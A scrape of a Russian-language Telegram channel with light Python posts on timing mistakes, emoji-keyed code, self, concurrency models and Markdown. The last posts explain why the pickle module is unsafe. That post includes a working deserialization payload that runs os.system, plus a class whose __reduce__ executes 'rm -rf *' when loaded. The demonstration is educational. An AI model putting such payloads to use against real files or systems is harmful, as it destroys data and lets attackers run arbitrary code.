Cool and Fun Python
540 subscribers
30 photos
8 videos
1 file
33 links
Крутой и весёлый Python. Случаи из практики и не только.
Download Telegram
После одного мема вспомнилась реальная история. Смешная и страшная одновременно. 😂😱

Итак, коллега по коду решил оценить асимптотику своего кода. Делал подобное он впервые. Поэтому с огромной гордостью заявил, что написал код обработки массива данных за константное время. Вау! Круто!
Далее выясняется, что это время равно 3.5 секундам, что на микромассиве из 10 элементов, что на массиве из 10_000. 🤔

Забегу вперёд, нобелевку ему не дали не смотря на верно работающий код. Почему? Замеры делались не верно. 😥
Коллега прикрутил input, чтобы вручную задавать параметры замеров. Но вместо того, чтобы передавать их в оцениваемый код, он прописал их внутри кода. 🤯
Как результат 3.5 секунды на ввод данных. Плюс 0.000002 секунды на обсчёт 10 элементов. Или плюс 0.002 на обсчёт 10к элементов.

Выводы делайте сами. Отличного дня 😉
😁6👍4
Немного смайликов в пятничную ленту. 😉

Знаете ли вы, что в основе синтаксиса Python лежит латиница и английский алфавит? Конечно знаете. 😄

А знаете ли вы, что Python 3 отлично работает с любыми символами из UTF-8 внутри str? 😏

def is_prime(num: int) -> bool:
f['🤓'] = num
for f['🏃‍'] in range(f['👫'], f['🤓']):
if f['🤓'] % f['🏃‍'] == f['🤪']:
return f['😈']
return f['😇']


f = {'😇': True,
'😈': False,
'🤪': 0,
'👫': 2,
'🤯': is_prime,
}

print(f['🤯'](73))

Отличной всем пятницы 🙃

P.S. Программа проверяет является ли число простым. 😁
😁7🤯1
Проводя собеседования речь иногда заходит об ООП в Python. И 9 из 10 участников не могут внятно ответить что такое self. 😱
Ловите несколько фактов.

- self не является частью синтаксиса. Вместо него можно писать this, me, что угодно. Python вас поймёт. Коллеги по проекту - нет.

- количество параметров в методе класса всегда на один больше, чем количество принимаемых аргументов. Первый параметр self не принимает аргумент в привычном стиле.

- self является указателем экземпляру класса на самого себя.

Взгляните на код:
class User:
def __init__(self, name):
self.name = name
print(f'{self = }')

def me(self):
return self


user1 = User('Python')
print(f'{user1 = }')
user2 = User('Python')
print(f'{user2 = }')

print(user1 is user1.me())

Казалось бы два одинаковых экземпляра класса user1 и user2. Но каждый занимает своё место в оперативной памяти. Адреса не совпадают.
self  = <__main__.User object at 0x00000283CD2BE1D0>
user1 = <__main__.User object at 0x00000283CD2BE1D0>
self = <__main__.User object at 0x00000283CD77C7C0>
user2 = <__main__.User object at 0x00000283CD77C7C0>

А вот self экземпляра и сам экземпляр совпадают, т.к. являются одним и тем же объектом. user1 is user1.me() всегда True 🤓
👍9🤔3
Пост о юных подаванах и опытных сеньорах.

Две недели назад вышел Python 3.11.0. Уже привычное большое ежегодное обновление. Удивительно, что пара знакомых сразу же кинулись ставить его. И не просто ставить, а обновлять версию в своих рабочих и pet проектах. 😱
Обратите внимание, что даже у Python 3.10.8 от 11 октября статус bugfix.

Коллеги айтишники, используйте безопасные стабильные версии софта в ваших проектах. 🙏 Экономия времени и нервов колоссальные. 🤓
А если очень хочется чего-то новенького, экспериментируйте вне рабочих проектов. Да прибудет с вами логика, а с вашими проектами Python 3.9.15 security 💂‍♀
👍12👏1👌1
Всех с пятницей 👋

Ни для кого не секрет, что язык Python назван в честь шоу Летающий цирк Монти Пайтон. Но что вы знаете о шоу? 🤔
Как насчёт Священного Грааля? Знаете ли вы о том, что африканская ласточка способна перенести кокос на другой континент? А как насчёт святой гранаты из серии игр про червячков Worms? Откуда она?

Предлагаю проникнуться духом Монти Пайтон и посмотреть полуторачасовой Святой Грааль вместе. Устроим выходные в стиле Python IT Geek. 💻

P.S. Уже заливаю видео в комментарии к посту. 🍿
👍6
Коротко о четырёх основных способах выполнения кода в Python

Синхронное выполнение 📄
По сути любая программа с переменными, ветвлениями, циклами и прочим, где действия выполняются строка за строкой. Классика, где Python создаёт один процесс с одним потоком внутри.

Многопоточное выполнение 🗂
Берём синхронный код и запускаем функцию несколько раз для "параллельного" выполнения. Снова один Python процесс внутри которого несколько потоков очень быстро переключаются между собой. Настолько быстро, что кажется словно работают одновременно. Но задействуется один поток в одном ядре CPU.

Многопроцессорное выполнение 📚
Основной Python процесс создаёт другие Python процессы. Внутри синхронное выполнение кода в одном потоке. Снаружи несколько процессов выполняемых одновременно разными ядрами/процессорами ПК.

Асинхронное выполнение 🔀
Снова один процесс с одним потоком внутри. Но синхронные функции превращаются в асинхронные сопрограммы - coroutine. Корутины работают по очереди, переключаясь между собой. Похоже на многопоточность, но переключаются не потоки, а функции внутри одного потока.
👍7🤯1
В продолжение поста о способах выполнения кода. Немного о том где какой вариант применять

📄 Синхронные решения отлично подходят для небольших, срочных и одноразовых задач. Быстро писать. Легко проводить отладку. Улучшения так же не требуют лишних усилий. И даже если ежечасно парсить сайт и тратить несколько секунд на обработку данных, синхронный код отлично справится с задачей.

🗂 Многопоточные решения создаются для задач с обилием ввода и вывода информации. I/O bound подразумевает ожидание ответов, длительное выполнение запросов и т.п. И пока один поток ждёт свой I/O, другой решает задачу. Тот же пример с парсингом, но не одного, а десятков сайтов одновременно. Быстро по очереди отправляем запросы по одному на поток, а потом обрабатываем в порядке получения ответов.

📚 Многопроцессорные решения нужны для CPU bound задач. Обычно это обработка большого объёма данных, которую можно разбить на части. Например парсим сайт, а он возвращает терабайт в ответ. Каждый процесс обрабатывает свой кусочек терабайта изолировано, а ПК нагружает все ядра процессора. Мы же не зря запустили по одному процессу на каждое ядро CPU.

🔀 Асинхронные решения подходят для I/O bound задач. Стоп! Но ведь потоки для них. Всё верно. Если не придираться к деталям, асинхронный подход можно считать современной альтернативой многопоточных решений. Вполне возможно кто-то из вас сталкивался с потоками в legacy проектах и при обновлении софта менял их на асинхронные корутины.
👍4👀1
Наткнулся на просторах сети на такой мем. Стало любопытно какую же тему любят больше.
Кликните опрос ниже 👇
😁1
Поздравляю всех подписчиков канала с Новым годом! 🎄

Творческих успехов, завершённых pet-проектов, меньше горящих дедлайнов и больше кода в удовольствие. 🎁

В новом году вас ждут небольшие посты на канале, интересные авторские статьи на Хабре и конечно же ITшный юмор. 🧑‍💻

Живите долго и процветайте. До новых встреч. 🖖

P.S. Картинка к посту создана нейросетью специально для этого поста. 🤓
🍾8
Бонусная картинка для любителей ставить KDE 2 под FreeBSD 😊
🍓6
Встретил на просторах сети эту картинку

Слышали ли вы о том, что ИИ умеет рисовать картины по текстовому запросу?
Модели, обучение, тестирование... Много времени, крутые видеокарты, сложные манипуляции... Ага, как на кадре слева. 🤯
Захотелось научить всех рисовать так же легко и просто, как мост на кадре справа. Ловите ссылку. Делитесь запросами и их результатами в комментариях. 👨‍🎨

Кстати, со старым новым годом вас 🎄
👍4👨‍💻1
Поздравляем с днём рождения великодушного пожизненного диктатора - Гвидо Ван Россума 🎂
🎉11👍6🤩3
От 🌹 лица 🌹 IT 🌹 сообщества 🌹 поздравляю 🌹 лучшую 🌹 половину 🌹 канала 🌹 с 🌹 международным 🌹 женским 🌹 днём 🌹
Please open Telegram to view this post
VIEW IN TELEGRAM
9💅2
Немного Python Fun 😂🤣😂

Оживить канал. Напомнить о нём подписчикам. Заодно и админу. Чтобы за выходные подготовил свежий пост. До скорой встречи
👍5❤‍🔥2🔥2
О Markdown и Телеграм

Если простыми словами, то Markdown превращает символы в оформление. Это язык разметки, как и HTML. Например двойное подчеркивание ➡️ __ ⬅️ до и после слова делает его курсивным. Как видите Телеграм поддерживает Markdown.

После очередного обновления в Телеграм появилась подсветка синтаксиса. Работает так:

\\ \\ \\` python # три открывающих апострофа и название вашего ЯП
Ваш код
\
\ \ # три закрывающих апострофа

python
print('Hello world!')



Пишите свои примеры в комментариях

P.S. В прошлых статьях также улучшено форматирование
👍6🆒1
Итоги голосования. Python на втором месте 🥈 Не хватило всего 30 голосов. Мы могли это сделать. Но сделаем в следующем году
А пока всех с наступающими праздниками. Да прибудет с вами любимый язык программирования ❤️
Please open Telegram to view this post
VIEW IN TELEGRAM
2👏1👨‍💻1
Добрый вечер, коллеги!
С наступившим 2024 годом. Как ваше самочувствие? Может хотите маринованных огурчиков, огуречного рассола? 🥒

Модуль pickle
Помимо всем привычного и безопасного JSON для сериализации и десериализации данных в Python есть модуль pickle, выполняющий аналогичные действия с питоновскими объектами

Важно! Модуль pickle небезопасен. Распаковывайте только те данные, которым вы доверяете.

Держите простой пример маринования трёх объектов в один файл:
import pickle

obj1 = {'name': 'Alice', 'age': 25}
obj2 = [1, 2, 3, 4, 5]
obj3 = ('a', 'b', 'c')

with open('data.pickle', 'wb') as f:
pickle.dump(obj1, f)
pickle.dump(obj2, f)
pickle.dump(obj3, f)
В результате получим бинарный data.pickle с неудобным для чтения человеком содержимым, примерно таким:
 �        }�(� name�� Alice�� age�K u.� �        ]�(K K K K K e.� �        � a�� b�� c���.
Но если спустя время нам понадобятся наши словари и списки, достаём разносолы из файла:
import pickle

with open('data.pickle', 'rb') as f:
loaded_obj1 = pickle.load(f)
loaded_obj2 = pickle.load(f)
loaded_obj3 = pickle.load(f)

print(loaded_obj1) # {'name': 'Alice', 'age': 25}
print(loaded_obj2) # [1, 2, 3, 4, 5]
print(loaded_obj3) # ('a', 'b', 'c')
Успехов в новом году. И не только в консервациях 😉
👍6🔥1😈1
Продолжаем мариновать объекты Python. Начало тут

Чем же так небезопасен pickle? В первую очередь программистом, который его использует неправильно.
Ловите пример:
import pickle

res = pickle.loads(b"cos\nsystem\n(S'echo Hello world!'\ntR.")
В результате загрузки данных из строки байт в терминал отправится сообщение "Hello world!". Немного не то, для чего создавался модуль. Кстати, в переменной res будет хранится ноль, а не текст или команда.

Но почему так? Дело в том, что модуль выполняет дандер __reduce__ замаринованного объекта в процессе преобразования файла/строки в объекты Python.
import pickle
import os


class MaliciousCode:
def __reduce__(self):
# При вызове функции pickle.load() будет выполнена команда удаления всех файлов в текущей директории
return (os.system, ('rm -rf *',))


malicious_object = MaliciousCode()

with open('data.pickle', 'wb') as file:
pickle.dump(malicious_object, file)

with open('data.pickle', 'rb') as file:
loaded_object = pickle.load(file)
Отличных новогодних праздников. И не стреляйте себе в ногу 😉
Please open Telegram to view this post
VIEW IN TELEGRAM
👍5🍾1